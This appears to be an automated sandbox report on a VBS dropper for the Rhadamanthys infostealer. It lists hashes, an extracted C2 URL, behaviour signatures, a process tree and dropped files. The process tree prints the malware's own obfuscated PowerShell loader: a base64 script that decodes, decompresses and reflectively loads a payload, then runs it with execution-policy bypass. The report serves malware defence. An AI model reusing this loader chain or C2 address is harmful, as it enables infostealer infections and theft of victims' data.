Analysis

  • max time kernel
    90s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-09-2024 07:25

General

  • Target

    rsDymE.vbs

  • Size

    506KB

  • MD5

    7fba6758ee02d6fbd69db7bb5de82029

  • SHA1

    7c759c4a7681da6e916d8dd80ecfb125f4bf49f5

  • SHA256

    8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974

  • SHA512

    15c49c436bf5ed535f646f263e70e80f47de620a553a9f7a8a88482385eec5812970fdc0f69b915efa6006a58b16fbf47980f2fa34f54344cbe77ac28cc75722

  • SSDEEP

    12288:0KaH9AkQqyuC+4MXBRNAIPyLKhaDw7JZJGjdbS4VZZ4Ph:89AkJyd+XXBzAIKOUU7Foxn4p

Malware Config

Extracted

Family

rhadamanthys

C2

https://deadmunky.nl:5403/68efc67ee981034e6b329438/h7bgh43h.758up

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2636
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1076
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rsDymE.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\rsDymE.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmlu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SwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInJzRHltRS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\rsDymE.ps1' -Encoding UTF8"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4120
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\rsDymE.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4996
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1620
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 608
              5⤵
              • Program crash
              PID:3660
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 604
              5⤵
              • Program crash
              PID:1332
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1620 -ip 1620
      1⤵
        PID:4080
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1620 -ip 1620
        1⤵
          PID:5108

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          1KB

          MD5

          4280e36a29fa31c01e4d8b2ba726a0d8

          SHA1

          c485c2c9ce0a99747b18d899b71dfa9a64dabe32

          SHA256

          e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

          SHA512

          494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          16KB

          MD5

          772377337af02bdb03c65805ad1cfe30

          SHA1

          2d2c2c2830fe4b1aef0e560cb614fdef40bb8c13

          SHA256

          8c863685ec936c584c4d0f493f81e84fbcdb7dacebc9a17e7bc647fe065a67a7

          SHA512

          ff9a7774cb31fda7eeb575c3c628ef476e32f1c4dfe1955d221c09aeaef20e565f5f90e32ab8e3d0a347ccb0b18a08eb1b2eb35d843656c989bb271431de27be

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gb5av2l.drs.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\rsDymE.bat

          Filesize

          488KB

          MD5

          95e465b1ef996d3968a93ddbf5eba3da

          SHA1

          60fedee18bb55594ae6cf5a888e3135845ee8b7b

          SHA256

          0334ee6012ab68c0952a2b92e5977f687c2e278e6c5854554935bf344f6a6fae

          SHA512

          c6dcb8a2d8e91e8f770278ea20597bbc905387ece940841e5f0317eec117dd772ff8af1ce5fb69e3cfad4a9d0624685d2741d462b1c69a555bf25b1ba774c475

        • C:\Users\Admin\rsDymE.ps1

          Filesize

          1KB

          MD5

          6cc71c25ffb24ada904a5fc8671b08c5

          SHA1

          cf421c6b8f009a9b50f6c968669b5ae20a8475aa

          SHA256

          ecc925ef3557e4387d89ce5f16781f13c5c32ab4f30302a29cac1b54356314d0

          SHA512

          d131952d62403bd65a94e6d4b5231283088e65a7a944ab6fe7b15c81670d003e1003d01749ae89d37e56c8891ef2f1f92b874ced45b97a7a81cc62cc6a55d033

        • memory/1076-61-0x0000000076A90000-0x0000000076CA5000-memory.dmp

          Filesize

          2.1MB

        • memory/1076-59-0x00007FFD0AF30000-0x00007FFD0B125000-memory.dmp

          Filesize

          2.0MB

        • memory/1076-58-0x00000000023C0000-0x00000000027C0000-memory.dmp

          Filesize

          4.0MB

        • memory/1076-56-0x00000000005D0000-0x00000000005D9000-memory.dmp

          Filesize

          36KB

        • memory/1620-48-0x0000000000400000-0x000000000046D000-memory.dmp

          Filesize

          436KB

        • memory/1620-53-0x00007FFD0AF30000-0x00007FFD0B125000-memory.dmp

          Filesize

          2.0MB

        • memory/1620-52-0x0000000003EA0000-0x00000000042A0000-memory.dmp

          Filesize

          4.0MB

        • memory/1620-51-0x0000000003EA0000-0x00000000042A0000-memory.dmp

          Filesize

          4.0MB

        • memory/1620-50-0x0000000000400000-0x000000000046D000-memory.dmp

          Filesize

          436KB

        • memory/1620-55-0x0000000076A90000-0x0000000076CA5000-memory.dmp

          Filesize

          2.1MB

        • memory/4120-11-0x0000000005630000-0x0000000005696000-memory.dmp

          Filesize

          408KB

        • memory/4120-22-0x0000000005C10000-0x0000000005C2E000-memory.dmp

          Filesize

          120KB

        • memory/4120-10-0x00000000055C0000-0x0000000005626000-memory.dmp

          Filesize

          408KB

        • memory/4120-21-0x00000000056A0000-0x00000000059F4000-memory.dmp

          Filesize

          3.3MB

        • memory/4120-5-0x0000000074B3E000-0x0000000074B3F000-memory.dmp

          Filesize

          4KB

        • memory/4120-6-0x00000000047F0000-0x0000000004826000-memory.dmp

          Filesize

          216KB

        • memory/4120-7-0x0000000074B30000-0x00000000752E0000-memory.dmp

          Filesize

          7.7MB

        • memory/4120-8-0x0000000004E60000-0x0000000005488000-memory.dmp

          Filesize

          6.2MB

        • memory/4120-29-0x0000000074B30000-0x00000000752E0000-memory.dmp

          Filesize

          7.7MB

        • memory/4120-9-0x0000000004DE0000-0x0000000004E02000-memory.dmp

          Filesize

          136KB

        • memory/4120-25-0x0000000006140000-0x000000000615A000-memory.dmp

          Filesize

          104KB

        • memory/4120-24-0x0000000007560000-0x0000000007BDA000-memory.dmp

          Filesize

          6.5MB

        • memory/4120-23-0x0000000005C50000-0x0000000005C9C000-memory.dmp

          Filesize

          304KB

        • memory/4996-40-0x0000000005720000-0x0000000005A74000-memory.dmp

          Filesize

          3.3MB

        • memory/4996-47-0x00000000023D0000-0x00000000023DA000-memory.dmp

          Filesize

          40KB

        • memory/4996-46-0x00000000070C0000-0x000000000715C000-memory.dmp

          Filesize

          624KB

        • memory/4996-45-0x0000000007550000-0x0000000007AF4000-memory.dmp

          Filesize

          5.6MB

        • memory/4996-44-0x0000000006EC0000-0x0000000006EE2000-memory.dmp

          Filesize

          136KB

        • memory/4996-43-0x0000000006E20000-0x0000000006EB6000-memory.dmp

          Filesize

          600KB